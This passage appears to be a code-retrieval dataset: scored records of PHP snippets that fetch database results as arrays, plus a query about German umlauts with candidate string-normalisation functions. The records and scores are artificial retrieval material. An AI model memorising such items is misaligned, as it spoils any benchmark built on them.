queryresultrowarray($str){\n\t$q = query($str);\n\tif ($q !== FALSE){\n\t\treturn resultrowarray($q);}\n\telse{\n\t\treturn FALSE;}}", "title": "" }, { "docid": "0a644c0c86beb79de6c9f8afa7f75970", "score": "0.6278597", "text": "function getResultAsAssocArray($sql)\n{\n $dbConnect = getConnection();\n $result = [];\n foreach ($dbConnect->query($sql) as $row){\n $result[]=$row;\n }\n\n return $result;\n}", "title": "" }, { "docid": "dee89f631fe80404d16d1a62a22cf427", "score": "0.6276738", "text": "public function getRowArray() {\n\t\treturn $this->rows;\n\t}", "title": "" }, { "docid": "24fdd40e87324399b0661c1859c1b66f", "score": "0.6267515", "text": "function getarray($sql){\n\t\t\t$result = $this->execute($sql);\n\t\t\t$ans = mysqli_fetch_assoc($result);\n\t\t\treturn $ans;\n\t\t}", "title": "" }, { "docid": "370e9ab38c2d18488cf16e7bc0ae60d8", "score": "0.62603456", "text": "public function getRowsIndices(): array;", "title": "" }, { "docid": "a7106a9a016003bd59993bb18c995c35", "score": "0.6254669", "text": "function fetchRowsAsAssocArray($sql)\n {\n mjlog(DEBUG,__METHOD__,$sql,__LINE__);\n $data = array();\n if (!($rez = $this->query($sql)))\n {\n mjlog(DEBUG,__METHOD__,\"Query failed, returning!!\",__LINE__);\n return $data;\n }\n while ($row = $this->fetchAssoc($rez)) $data[] = $row;\n return $data;\n }", "title": "" }, { "docid": "f2d1c913bd9f3b8b9b5dc505d04507b0", "score": "0.6253463", "text": "public function getArray($result){\r\n return ($this->bd->getArray($result));\r\n }", "title": "" }, { "docid": "324a365b28460e7856b7f3c56322c13c", "score": "0.62494236", "text": "static function get_rows_as_array($sql_query)\n\t{\n\tglobal $dbh;\n\t\t$dbh->SetFetchMode(ADODB_FETCH_NUM);\n\t\tif(($rs = $dbh->Execute($sql_query)) == FALSE)\n\t\t return $rs;\n\n\t\treturn $rs->GetArray();\n\t}", "title": "" }, { "docid": "25c81ba64f7c129f9fca8cc9dd0e9d85", "score": "0.6241471", "text": "function fetchResult() {\n\t\tif ($row = mssql_fetch_row($this->results)) {\n\t\t\t$resultRow = array();\n\t\t\t$i = 0;\n\n\t\t\tforeach ($row as $index => $field) {\n\t\t\t\tlist($table, $column) = $this->map[$index];\n\t\t\t\t$resultRow[$table][$column] = $row[$index];\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\treturn $resultRow;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "06dbed9010453574ae992168cb99aaa1", "score": "0.62397885", "text": "public function row() {\n $this->firstTime();\n return $this->result->fetch_row();\n }", "title": "" }, { "docid": "9e7cf55d59615c2a01778f80928592b5", "score": "0.6239303", "text": "public function result_array()\n {\n return $this->result;\n }", "title": "" }, { "docid": "5c205da9b7037b4941572c882dbcba65", "score": "0.62382746", "text": "function FetchArray()\n\t{\n\t\treturn mysql_fetch_array($this->result);\n\t}", "title": "" }, { "docid": "a73090ae546545eb97251e9fcec6b481", "score": "0.62341064", "text": "public function fetch_array($result){\r\n\t\r\n return mysql_fetch_array($result);\r\n\t\t\r\n\t}", "title": "" }, { "docid": "d604c208c1715c8d1d9466dad4e0f979", "score": "0.621705", "text": "function fetchArray(&$resource, $result_type=MYSQLI_ASSOC) { return mysqli_fetch_array($resource, $result_type); }", "title": "" }, { "docid": "19cc953419f1e930515ab8d30e5e1e75", "score": "0.62159985", "text": "function fetchArray(&$resource, $result_type=MYSQL_ASSOC) { return mysql_fetch_array($resource, $result_type); }", "title": "" }, { "docid": "cfe9930fa84e9ce21404b093682fda6b", "score": "0.6214193", "text": "function toArrayResult($stmt){\n $result = array();\n if (is_array($stmt)) {\n $result = $stmt;\n } else {\n if (is_object($stmt)) {\n if (method_exists($stmt, 'fetchAll')) {\n $result = $stmt->fetchAll('assoc');\n } else if (isset($stmt->rows) && is_array($stmt->rows)) {\n $result = $stmt->rows;\n } else {\n $result = (array)$stmt;\n }\n }\n }\n $stmt = null;\n unset($stmt);\n return $result;\n }", "title": "" }, { "docid": "253485de8c58edd6901183133c8b293f", "score": "0.6212296", "text": "public function fetch_array($result) {\n return $result->fetch_array();\n }", "title": "" }, { "docid": "b4e4ca22060a1d60e67d0d6c93bc1bc3", "score": "0.6203837", "text": "public function getRow(): array\n {\n return $this->rawData['databaseRow'] ?? [];\n }", "title": "" }, { "docid": "fd4808cd60695462c023206b5ced757f", "score": "0.6202512", "text": "private function results($result)\n\t\t{\n\t\t\t\n\t\t\t$result_array = array();\n\t\t\t\n\t\t\tfor ($i = 0; $row = mysqli_fetch_assoc($result); $i++)\n\t\t\t{\n\t\t\t $result_array[$i] = $row; \n\t\t\t}\n\t\t\t\n\t\t\treturn $result_array;\n\t\t\t\t\t\t\n\t\t}", "title": "" }, { "docid": "07be6d110078a1cd77b6541439b6a2b4", "score": "0.61969185", "text": "public function asfetch($row);", "title": "" }, { "docid": "f7fcfd6fe1bec8da2e0d1f04f471a08e", "score": "0.6194591", "text": "public function getRowArray()\n {\n return $this->rowData;\n }", "title": "" }, { "docid": "50e766236d9589f71ce1fd2f3d7c950e", "score": "0.6193441", "text": "function fetchArray( $result , $resultType = MYSQLI_ASSOC )\r\n\t{\r\n\t\treturn $result->fetch_array( $resultType );\r\n\t}", "title": "" }, { "docid": "81ac229a03946933017655b2463d0342", "score": "0.6189107", "text": "public function fetchResult() {\n\t\tif ($row = odbc_fetch_row($this->results)) {\n\t\t\t$resultRow = array();\n\t\t\t$numFields = odbc_num_fields($this->results);\n\t\t\t$i = 0;\n\t\t\tfor ($i = 0; $i < $numFields; $i++) {\n\t\t\t\tlist($table, $column) = $this->map[$i];\n\t\t\t\t$resultRow[$table][$column] = odbc_result($this->results, $i + 1);\n\t\t\t}\n\t\t\treturn $resultRow;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "3a0eb537fb0089bcb962bc385aa347f7", "score": "0.6185745", "text": "function fetchRowsAsArray($sql)\n {\n mjlog(DEBUG,__METHOD__,$sql,__LINE__);\n $data = array();\n if (!($rez = $this->query($sql)))\n {\n mjlog(DEBUG,__METHOD__,\"Query failed, returning!!\",__LINE__);\n return $data;\n }\n while ($row = $this->fetchRow($rez)) $data[] = $row;\n return $data;\n }", "title": "" }, { "docid": "3a0eb537fb0089bcb962bc385aa347f7", "score": "0.6185745", "text": "function fetchRowsAsArray($sql)\n {\n mjlog(DEBUG,__METHOD__,$sql,__LINE__);\n $data = array();\n if (!($rez = $this->query($sql)))\n {\n mjlog(DEBUG,__METHOD__,\"Query failed, returning!!\",__LINE__);\n return $data;\n }\n while ($row = $this->fetchRow($rez)) $data[] = $row;\n return $data;\n }", "title": "" }, { "docid": "b8e19e6063ab9ac257ba5d48695b0084", "score": "0.6184143", "text": "function get_array($stmt) {\r\n $conn = open_connection();\r\n $result = $conn->query($stmt) or trigger_error(\"Query Failed! SQL: $stmt - Error: \".mysqli_error($conn), E_USER_ERROR);\r\n return resultToArray($result);\r\n }", "title": "" }, { "docid": "bf3122f17ff43cff8a14d5fcc8194ad4", "score": "0.6178602", "text": "public function getArrayFromSqlResult($result) {\n\t\t$resultArray = array();\n\t\twhile ($row = $result->fetch_assoc()) {\n\t\t\t$resultArray[] = $row;\n\t\t}\n\t\treturn $resultArray;\n\t}", "title": "" }, { "docid": "ef4ef80af85e24c552e50f06030bdfb3", "score": "0.617491", "text": "public function result_array()\n\t{\n\t\tif (count($this->_result_array) > 0)\n\t\t{\n\t\t\treturn $this->_result_array;\n\t\t}\n\t\n\t\t// In the event that query caching is on the result_id variable\n\t\t// will return FALSE since there isn't a valid SQL resource so\n\t\t// we'll simply return an empty array.\n\t\tif ($this->_result_id === FALSE || $this->num_rows() == 0)\n\t\t{\n\t\t\treturn [];\n\t\t}\n\t\t\n\t\t$this->_data_seek(0);\n\t\twhile ($row = $this->_fetch_assoc())\n\t\t{\n\t\t$this->_result_array[] = $row;\n\t\t}\n\t\n\t\treturn $this->_result_array;\n\t}", "title": "" }, { "docid": "3e5905f9b07724c1e047784486c69a9b", "score": "0.6170423", "text": "public function get_rows();", "title": "" }, { "docid": "44baa28345dffd67d70b906309f62a39", "score": "0.6156214", "text": "public function getResult(): array;", "title": "" }, { "docid": "25eb18d576336f1d13ec913ecbc77d8e", "score": "0.615308", "text": "public function getRow(int $row){\r\n\r\n $result = [];\r\n\r\n $rowIndex = $this->_validateRowIndex($row);\r\n\r\n for ($i = 0; $i < $this->_columnsCount; $i++) {\r\n\r\n $result[] = $this->getCell($rowIndex, $i);\r\n }\r\n\r\n return $result;\r\n }", "title": "" }, { "docid": "f63efdea6887c908efce350ebb4de05d", "score": "0.61412317", "text": "protected function _fetchRow($result)\n {\n return $result->fetchArray(SQLITE3_ASSOC);\n }", "title": "" }, { "docid": "b068bce5afbc4403d19c7f2123d4aa9e", "score": "0.6140761", "text": "function getRow($row, $table, $query = \"TRUE\") {\n\n\t$r = getResult(\"select \".$row.\" from \".$table.\" where \".$query);\n\t$rv = array();\n\twhile ($item = $r->fetchRow(MDB2_FETCHMODE_ASSOC)) {\n\t\n\t\t$rv[] = $item[$row];\n\t\n\t}\n\t\n\treturn $rv;\n\n}", "title": "" }, { "docid": "9ebfe479b9586dbcf63b50b8fac8cc1c", "score": "0.61371267", "text": "function to_array(mysqli_result $result)\n{\n $array = array();\n while ($row = $result->fetch_assoc()) {\n if (!$row) return null;\n\n if (!$array)\n $array = $row;\n else\n $array = merge_map($array, $row);\n }\n return $array;\n}", "title": "" }, { "docid": "0dd6bfbd62d6b59b0b77ab8a39a14ff8", "score": "0.613575", "text": "public function ToArray()\r\n {\r\n if($this->mRowIndex < 0)\r\n return null; \r\n return (array) $this->mRows[$this->mRowIndex] ; \r\n }", "title": "" }, { "docid": "00cd92bb6df621496dc4013a6229c507", "score": "0.6132101", "text": "public function getDataRow()\n\t\t{\n\t\t$row = array() ;\n\t\tforeach( $this as $field=>$value )\n\t\t\t{\n\t\t\t$row[$field] = $value ;\n\t\t\t}\n\t\treturn $row ;\n\t\t}", "title": "" }, { "docid": "0da171cd62d6940f4f8007f96144b423", "score": "0.6131704", "text": "public function rowArray($index = 0)\n\t{\n\t\t$defMode = $this->_fetchMode;\n\t\t$this->fetchArray();\n\t\t$dat = $this[$index];\n\t\t$this->_fetchMode = $defMode;\n\t\treturn $dat;\n\t}", "title": "" }, { "docid": "1724dd754a7c718eff0a7ddfa3a976e0", "score": "0.6124225", "text": "public function getRows(){\n\t\t$sql = \"select * from \" . $this->table;\n\n\t\t//se retorna una matriz con los datos ()\n\t\treturn array(\n\t\t\tarray(\n\t\t\t\t'id' => 1,\n\t\t\t\t'campo1' => 'Juan',\n\t\t\t\t'campo2' => 'Perez'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'id' => 2,\n\t\t\t\t'campo1' => 'Carlos',\n\t\t\t\t'campo2' => 'Cruz'\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "7b56a3aec0c2e6cf7c2bcfc2be542562", "score": "0.6119078", "text": "public function loadIndexedRow(){\n $indexedRow = $this->stmt->fetch(PDO::FETCH_NUM);\n return $indexedRow;\n }", "title": "" }, { "docid": "c4c52756e8eac955da06203957645212", "score": "0.61184394", "text": "public function getAllRows()\n {\n $data = array();\n //$data[]=\n //var_dump($data);\n while ($row = $this->getNextRow()) {\n $data[] =$row;\n }\n return $data;\n }", "title": "" }, { "docid": "aea21392aaec7bb0409542fd5b447653", "score": "0.61160785", "text": "public function asArray():array\r\n\t{\r\n\t $keep_key=$this->key();\r\n\t $this->rewind();\r\n\t\t$results = array();\r\n\t\tforeach ($this as $row)\r\n\t\t{\r\n\t\t\t$results[] = $row;\r\n\t\t}\r\n\t\t$this->rewind();\r\n\t\twhile (true) {\r\n\t\t if(!$this->valid()||$this->key()==$keep_key)break;\r\n\t\t $this->next();\r\n\t\t}\r\n\t\treturn $results;\r\n\t}", "title": "" }, { "docid": "3f0e666640728d8e5256f3f68b0cd0ea", "score": "0.61129904", "text": "public function fetchRowAssoc() {\n return $this->sth->fetch(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "0c52621247ab2408af06507315cc2bab", "score": "0.6110271", "text": "function convert_result_set_2_array($result_set)\n {\n $array_return = array();\n\n //Move first resultset\n if (mysqli_num_rows($result_set) > 0) {\n mysqli_data_seek($result_set, 0);\n } else {\n return $array_return;\n }\n\n while ($row_t = mysqli_fetch_assoc($result_set)) {\n $array_return[] = $row_t;\n }\n\n return $array_return;\n }", "title": "" }, { "docid": "55754c0aa354674c67512cf6ae157fcb", "score": "0.6096638", "text": "private function _get_row () {\n $result = $this->db->get()->row_array();\n \n return $result;\n }", "title": "" }, { "docid": "dd235b46a9607a8cdf863e5f6035738c", "score": "0.6090565", "text": "function m_fetch_array()\n\t\t{\n\t\t\treturn mysqli_fetch_array($this->result,MYSQLI_ASSOC);\n\t\t}", "title": "" }, { "docid": "10ff3df4d2614ffbaffb39bdae448aff", "score": "0.6089837", "text": "public function sql_fetchrow($result){\n\t\treturn @mysql_fetch_assoc($result);\n\t}", "title": "" }, { "docid": "58377592f9019f23f6b8e405672aa59f", "score": "0.60884714", "text": "public function result_array($index = NULL, $value = NULL) {\n\t\t\n\t\tif($this->qh) {\n\t\t\t$this->result();\n\t\t}\n\t\t\n\t\t$i = 0;\n\t\t$result = array();\n\t\tforeach($this->result AS $row) {\n\t\t\t$ndx = ($index === NULL)? $i : $row->$index;\n\t\t\t$val = ($value === NULL)? (array) $row : $row->$value;\n\t\t\t\t$result[$ndx] = $val;\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t\n\t\treturn $result;\n\t\t\n\t}", "title": "" }, { "docid": "fd1c700477ec90b09e4fd7c4baef9544", "score": "0.60883194", "text": "protected function _get_row()\n {\n $result = $this->db->get()->row_array();\n\n return $result;\n }", "title": "" } ]
3756efcdb06caabde2b31712df1be8bc
Test a string containing German umlauts
[ { "docid": "55274bad06f16c369ca647bdfcaf740e", "score": "0.6618609", "text": "#[@test]\n public function umlautString() {\n $str= new String('Hällo');\n $this->assertEquals('HƤllo', $str->getBytes());\n $this->assertEquals(5, $str->length());\n }", "title": "" } ]
[ { "docid": "0336656c6aa8d4eca2d1a29c35a1bb60", "score": "0.6504866", "text": "function dol_string_unaccent($str)\n{\n\tif (utf8_check($str))\n\t{\n\t\t// See http://www.utf8-chartable.de/\n\t\t$string = rawurlencode($str);\n\t\t$replacements = array(\n\t\t'%C3%80' => 'A','%C3%81' => 'A','%C3%82' => 'A','%C3%83' => 'A','%C3%84' => 'A','%C3%85' => 'A',\n\t\t'%C3%88' => 'E','%C3%89' => 'E','%C3%8A' => 'E','%C3%8B' => 'E',\n\t\t'%C3%8C' => 'I','%C3%8D' => 'I','%C3%8E' => 'I','%C3%8F' => 'I',\n\t\t'%C3%92' => 'O','%C3%93' => 'O','%C3%94' => 'O','%C3%95' => 'O','%C3%96' => 'O',\n\t\t'%C3%99' => 'U','%C3%9A' => 'U','%C3%9B' => 'U','%C3%9C' => 'U',\n\t\t'%C3%A0' => 'a','%C3%A1' => 'a','%C3%A2' => 'a','%C3%A3' => 'a','%C3%A4' => 'a','%C3%A5' => 'a',\n\t\t'%C3%A7' => 'c',\n\t\t'%C3%A8' => 'e','%C3%A9' => 'e','%C3%AA' => 'e','%C3%AB' => 'e',\n\t\t'%C3%AC' => 'i','%C3%AD' => 'i','%C3%AE' => 'i','%C3%AF' => 'i',\n\t\t'%C3%B1' => 'n',\n\t\t'%C3%B2' => 'o','%C3%B3' => 'o','%C3%B4' => 'o','%C3%B5' => 'o','%C3%B6' => 'o',\n\t\t'%C3%B9' => 'u','%C3%BA' => 'u','%C3%BB' => 'u','%C3%BC' => 'u',\n\t\t'%C3%BF' => 'y'\n\t\t);\n\t\t$string=strtr($string, $replacements);\n\t\treturn rawurldecode($string);\n\t}\n\telse\n\t{\n\t\t// See http://www.ascii-code.com/\n\t\t$string = strtr(\n\t\t\t$str,\n\t\t\t\"\\xC0\\xC1\\xC2\\xC3\\xC4\\xC5\\xC7\n\t\t\t\\xC8\\xC9\\xCA\\xCB\\xCC\\xCD\\xCE\\xCF\\xD0\\xD1\n\t\t\t\\xD2\\xD3\\xD4\\xD5\\xD8\\xD9\\xDA\\xDB\\xDD\n\t\t\t\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE7\\xE8\\xE9\\xEA\\xEB\n\t\t\t\\xEC\\xED\\xEE\\xEF\\xF0\\xF1\\xF2\\xF3\\xF4\\xF5\\xF8\n\t\t\t\\xF9\\xFA\\xFB\\xFC\\xFD\\xFF\",\n\t\t\t\"AAAAAAC\n\t\t\tEEEEIIIIDN\n\t\t\tOOOOOUUUY\n\t\t\taaaaaaceeee\n\t\t\tiiiidnooooo\n\t\t\tuuuuyy\"\n\t\t);\n\t\t$string = strtr($string, array(\"\\xC4\"=>\"Ae\", \"\\xC6\"=>\"AE\", \"\\xD6\"=>\"Oe\", \"\\xDC\"=>\"Ue\", \"\\xDE\"=>\"TH\", \"\\xDF\"=>\"ss\", \"\\xE4\"=>\"ae\", \"\\xE6\"=>\"ae\", \"\\xF6\"=>\"oe\", \"\\xFC\"=>\"ue\", \"\\xFE\"=>\"th\"));\n\t\treturn $string;\n\t}\n}", "title": "" }, { "docid": "2a915a0f5e909338f12c7284c1999f09", "score": "0.64186037", "text": "function stripUnicode($str){\n if (!$str) return false;\n $unicode = array(\n 'a'=>'á|à|ả|ã|ạ|ă|ắ|ặ|ằ|ẳ|ẵ|â|ấ|ầ|ẩ|ẫ|ậ|Á|À|Ả|Ã|Ạ|Ă|Ắ|Ặ|Ằ|Ẳ|Ẵ|Â|Ấ|Ầ|Ẩ|Ẫ|Ậ|&#225;|&#224;|&#227;|&#193;|&#192;|&#195;',\n 'd'=>'đ|Đ|&#273;|&#272;',\n 'e'=>'é|è|ẻ|ẽ|ẹ|ê|ế|ề|ể|ễ|ệ|É|È|Ẻ|Ẽ|Ẹ|Ê|Ế|Ề|Ể|Ễ|Ệ|&#233;|&#232;|&#200;|&#201;',\n 'i'=>'í|ì|ỉ|ĩ|ị|Í|Ì|Ỉ|Ĩ|Ị|&#237;|&#236;|&#297;|&#296;',\n 'o'=>'ó|ò|ỏ|õ|ọ|ô|ố|ồ|ổ|ỗ|ộ|ơ|ớ|ờ|ở|ỡ|ợ|Ó|Ò|Ỏ|Õ|Ọ|Ô|Ố|Ồ|Ổ|Ỗ|Ộ|Ơ|Ớ|Ờ|Ở|Ỡ|Ợ|&#243;|&#242;|&#245;|&#211;|&#210;|&#213;',\n 'u'=>'ú|ù|ủ|ũ|ụ|ư|ứ|ừ|ử|ữ|ự|Ú|Ù|Ủ|Ũ|Ụ|Ư|Ứ|Ừ|Ử|Ữ|Ự|&#250;|&#249;|&#361;|&#360;|&#217;|&#218;',\n 'y'=>'ý|ỳ|ỷ|ỹ|ỵ|Ý|Ỳ|Ỷ|Ỹ|Ỵ|&#253;|&#221;',\n ''=>'\\!|\\?|\\.'\n );\n foreach($unicode as $nonUnicode=>$uni) $str = preg_replace(\"/($uni)/i\",$nonUnicode,$str);\n return $str;\n }", "title": "" }, { "docid": "2c4652e2bc11892db9f6062da01cf26c", "score": "0.6371951", "text": "function test_uppercase_capital_letter_after_dash_multibyte () {\n\t\t$this->assertTrue(to_camelcase('politische-ökonomie') === 'politischeÖkonomie');\n\t}", "title": "" }, { "docid": "aeaa63e80b505d2887cedefe578660dd", "score": "0.62927675", "text": "function test_uppercase_capital_letter_after_space_multibyte () {\n\t\t$this->assertTrue(to_camelcase('politische-ökonomie') === 'politischeÖkonomie');\n\t}", "title": "" }, { "docid": "c156dd96dd9a1a97e482902fdc63d548", "score": "0.62333655", "text": "public function normalizeUtf8String($s){\n\t\t$s = strtolower($s);\n\n\t\t// Normalizer-class missing!\n\t\tif (! class_exists(\"Normalizer\", $autoload = false)) {\n\t\treturn $s;\n\n\t\t}\n\n\t\t// maps German (umlauts) and other European characters onto two characters before just removing diacritics\n\t\t$s = preg_replace( '@\\x{00c4}@u' , \"AE\", $s ); // umlaut Ä => AE\n\t\t$s = preg_replace( '@\\x{00d6}@u' , \"OE\", $s ); // umlaut Ö => OE\n\t\t$s = preg_replace( '@\\x{00dc}@u' , \"UE\", $s ); // umlaut Ü => UE\n\t\t$s = preg_replace( '@\\x{00e4}@u' , \"ae\", $s ); // umlaut ä => ae\n\t\t$s = preg_replace( '@\\x{00f6}@u' , \"oe\", $s ); // umlaut ö => oe\n\t\t$s = preg_replace( '@\\x{00fc}@u' , \"ue\", $s ); // umlaut ü => ue\n\t\t$s = preg_replace( '@\\x{00f1}@u' , \"ny\", $s ); // ñ => ny\n\t\t$s = preg_replace( '@\\x{00ff}@u' , \"yu\", $s ); // ÿ => yu\n\n\t\t// maps special characters (characters with diacritics) on their base-character followed by the diacritical mark\n\t\t// exmaple: Ú => U´, á => a`\n\t\t$s = Normalizer::normalize( $s, Normalizer::FORM_D );\n\n\n\t\t$s = preg_replace( '@\\pM@u' , \"\", $s ); // removes diacritics\n\n\n\t\t$s = preg_replace( '@\\x{00df}@u' , \"ss\", $s ); // maps German ß onto ss\n\t\t$s = preg_replace( '@\\x{00c6}@u' , \"AE\", $s ); // Æ => AE\n\t\t$s = preg_replace( '@\\x{00e6}@u' , \"ae\", $s ); // æ => ae\n\t\t$s = preg_replace( '@\\x{0132}@u' , \"IJ\", $s ); // ? => IJ\n\t\t$s = preg_replace( '@\\x{0133}@u' , \"ij\", $s ); // ? => ij\n\t\t$s = preg_replace( '@\\x{0152}@u' , \"OE\", $s ); // Œ => OE\n\t\t$s = preg_replace( '@\\x{0153}@u' , \"oe\", $s ); // œ => oe\n\n\t\t$s = preg_replace( '@\\x{00d0}@u' , \"D\", $s ); // Ð => D\n\t\t$s = preg_replace( '@\\x{0110}@u' , \"D\", $s ); // Ð => D\n\t\t$s = preg_replace( '@\\x{00f0}@u' , \"d\", $s ); // ð => d\n\t\t$s = preg_replace( '@\\x{0111}@u' , \"d\", $s ); // d => d\n\t\t$s = preg_replace( '@\\x{0126}@u' , \"H\", $s ); // H => H\n\t\t$s = preg_replace( '@\\x{0127}@u' , \"h\", $s ); // h => h\n\t\t$s = preg_replace( '@\\x{0131}@u' , \"i\", $s ); // i => i\n\t\t$s = preg_replace( '@\\x{0138}@u' , \"k\", $s ); // ? => k\n\t\t$s = preg_replace( '@\\x{013f}@u' , \"L\", $s ); // ? => L\n\t\t$s = preg_replace( '@\\x{0141}@u' , \"L\", $s ); // L => L\n\t\t$s = preg_replace( '@\\x{0140}@u' , \"l\", $s ); // ? => l\n\t\t$s = preg_replace( '@\\x{0142}@u' , \"l\", $s ); // l => l\n\t\t$s = preg_replace( '@\\x{014a}@u' , \"N\", $s ); // ? => N\n\t\t$s = preg_replace( '@\\x{0149}@u' , \"n\", $s ); // ? => n\n\t\t$s = preg_replace( '@\\x{014b}@u' , \"n\", $s ); // ? => n\n\t\t$s = preg_replace( '@\\x{00d8}@u' , \"O\", $s ); // Ø => O\n\t\t$s = preg_replace( '@\\x{00f8}@u' , \"o\", $s ); // ø => o\n\t\t$s = preg_replace( '@\\x{017f}@u' , \"s\", $s ); // ? => s\n\t\t$s = preg_replace( '@\\x{00de}@u' , \"T\", $s ); // Þ => T\n\t\t$s = preg_replace( '@\\x{0166}@u' , \"T\", $s ); // T => T\n\t\t$s = preg_replace( '@\\x{00fe}@u' , \"t\", $s ); // þ => t\n\t\t$s = preg_replace( '@\\x{0167}@u' , \"t\", $s ); // t => t\n\n\t\t// remove all non-ASCii characters\n\t\t$s = preg_replace( '@[^\\0-\\x80]@u' , \"\", $s );\n\n\t\t// possible errors in UTF8-regular-expressions\n\t\tif (empty($s)){\n\t\treturn $original_string;\n\t\t}else{\n\t\treturn $s;\n\t\t}\n\t}", "title": "" }, { "docid": "e460816f23c2dc82b2545506c1f1e791", "score": "0.60552996", "text": "function test_uppercase_capital_letter_after_underscore_multibyte () {\n\t\t$this->assertTrue(to_camelcase('politische_ökonomie') === 'politischeÖkonomie');\n\t}", "title": "" }, { "docid": "35ebabca438deb8299e7facc65a73f38", "score": "0.60534316", "text": "public static function replaceAccentedChars($str)\n {\n /* One source among others:\n http://www.tachyonsoft.com/uc0000.htm\n http://www.tachyonsoft.com/uc0001.htm\n http://www.tachyonsoft.com/uc0004.htm\n */\n $patterns = array(\n\n /* Lowercase */\n /* a */\n '/[\\x{00E0}\\x{00E1}\\x{00E2}\\x{00E3}\\x{00E4}\\x{00E5}\\x{0101}\\x{0103}\\x{0105}\\x{0430}\\x{00C0}-\\x{00C3}\\x{1EA0}-\\x{1EB7}]/u',\n /* b */\n '/[\\x{0431}]/u',\n /* c */\n '/[\\x{00E7}\\x{0107}\\x{0109}\\x{010D}\\x{0446}]/u',\n /* d */\n '/[\\x{010F}\\x{0111}\\x{0434}\\x{0110}]/u',\n /* e */\n '/[\\x{00E8}\\x{00E9}\\x{00EA}\\x{00EB}\\x{0113}\\x{0115}\\x{0117}\\x{0119}\\x{011B}\\x{0435}\\x{044D}\\x{00C8}-\\x{00CA}\\x{1EB8}-\\x{1EC7}]/u',\n /* f */\n '/[\\x{0444}]/u',\n /* g */\n '/[\\x{011F}\\x{0121}\\x{0123}\\x{0433}\\x{0491}]/u',\n /* h */\n '/[\\x{0125}\\x{0127}]/u',\n /* i */\n '/[\\x{00EC}\\x{00ED}\\x{00EE}\\x{00EF}\\x{0129}\\x{012B}\\x{012D}\\x{012F}\\x{0131}\\x{0438}\\x{0456}\\x{00CC}\\x{00CD}\\x{1EC8}-\\x{1ECB}\\x{0128}]/u',\n /* j */\n '/[\\x{0135}\\x{0439}]/u',\n /* k */\n '/[\\x{0137}\\x{0138}\\x{043A}]/u',\n /* l */\n '/[\\x{013A}\\x{013C}\\x{013E}\\x{0140}\\x{0142}\\x{043B}]/u',\n /* m */\n '/[\\x{043C}]/u',\n /* n */\n '/[\\x{00F1}\\x{0144}\\x{0146}\\x{0148}\\x{0149}\\x{014B}\\x{043D}]/u',\n /* o */\n '/[\\x{00F2}\\x{00F3}\\x{00F4}\\x{00F5}\\x{00F6}\\x{00F8}\\x{014D}\\x{014F}\\x{0151}\\x{043E}\\x{00D2}-\\x{00D5}\\x{01A0}\\x{01A1}\\x{1ECC}-\\x{1EE3}]/u',\n /* p */\n '/[\\x{043F}]/u',\n /* r */\n '/[\\x{0155}\\x{0157}\\x{0159}\\x{0440}]/u',\n /* s */\n '/[\\x{015B}\\x{015D}\\x{015F}\\x{0161}\\x{0441}]/u',\n /* ss */\n '/[\\x{00DF}]/u',\n /* t */\n '/[\\x{0163}\\x{0165}\\x{0167}\\x{0442}]/u',\n /* u */\n '/[\\x{00F9}\\x{00FA}\\x{00FB}\\x{00FC}\\x{0169}\\x{016B}\\x{016D}\\x{016F}\\x{0171}\\x{0173}\\x{0443}\\x{00D9}-\\x{00DA}\\x{0168}\\x{01AF}\\x{01B0}\\x{1EE4}-\\x{1EF1}]/u',\n /* v */\n '/[\\x{0432}]/u',\n /* w */\n '/[\\x{0175}]/u',\n /* y */\n '/[\\x{00FF}\\x{0177}\\x{00FD}\\x{044B}\\x{1EF2}-\\x{1EF9}\\x{00DD}]/u',\n /* z */\n '/[\\x{017A}\\x{017C}\\x{017E}\\x{0437}]/u',\n /* ae */\n '/[\\x{00E6}]/u',\n /* ch */\n '/[\\x{0447}]/u',\n /* kh */\n '/[\\x{0445}]/u',\n /* oe */\n '/[\\x{0153}]/u',\n /* sh */\n '/[\\x{0448}]/u',\n /* shh*/\n '/[\\x{0449}]/u',\n /* ya */\n '/[\\x{044F}]/u',\n /* ye */\n '/[\\x{0454}]/u',\n /* yi */\n '/[\\x{0457}]/u',\n /* yo */\n '/[\\x{0451}]/u',\n /* yu */\n '/[\\x{044E}]/u',\n /* zh */\n '/[\\x{0436}]/u',\n\n /* Uppercase */\n /* A */\n '/[\\x{0100}\\x{0102}\\x{0104}\\x{00C0}\\x{00C1}\\x{00C2}\\x{00C3}\\x{00C4}\\x{00C5}\\x{0410}]/u',\n /* B */\n '/[\\x{0411}]/u',\n /* C */\n '/[\\x{00C7}\\x{0106}\\x{0108}\\x{010A}\\x{010C}\\x{0426}]/u',\n /* D */\n '/[\\x{010E}\\x{0110}\\x{0414}]/u',\n /* E */\n '/[\\x{00C8}\\x{00C9}\\x{00CA}\\x{00CB}\\x{0112}\\x{0114}\\x{0116}\\x{0118}\\x{011A}\\x{0415}\\x{042D}]/u',\n /* F */\n '/[\\x{0424}]/u',\n /* G */\n '/[\\x{011C}\\x{011E}\\x{0120}\\x{0122}\\x{0413}\\x{0490}]/u',\n /* H */\n '/[\\x{0124}\\x{0126}]/u',\n /* I */\n '/[\\x{0128}\\x{012A}\\x{012C}\\x{012E}\\x{0130}\\x{0418}\\x{0406}]/u',\n /* J */\n '/[\\x{0134}\\x{0419}]/u',\n /* K */\n '/[\\x{0136}\\x{041A}]/u',\n /* L */\n '/[\\x{0139}\\x{013B}\\x{013D}\\x{0139}\\x{0141}\\x{041B}]/u',\n /* M */\n '/[\\x{041C}]/u',\n /* N */\n '/[\\x{00D1}\\x{0143}\\x{0145}\\x{0147}\\x{014A}\\x{041D}]/u',\n /* O */\n '/[\\x{00D3}\\x{014C}\\x{014E}\\x{0150}\\x{041E}]/u',\n /* P */\n '/[\\x{041F}]/u',\n /* R */\n '/[\\x{0154}\\x{0156}\\x{0158}\\x{0420}]/u',\n /* S */\n '/[\\x{015A}\\x{015C}\\x{015E}\\x{0160}\\x{0421}]/u',\n /* T */\n '/[\\x{0162}\\x{0164}\\x{0166}\\x{0422}]/u',\n /* U */\n 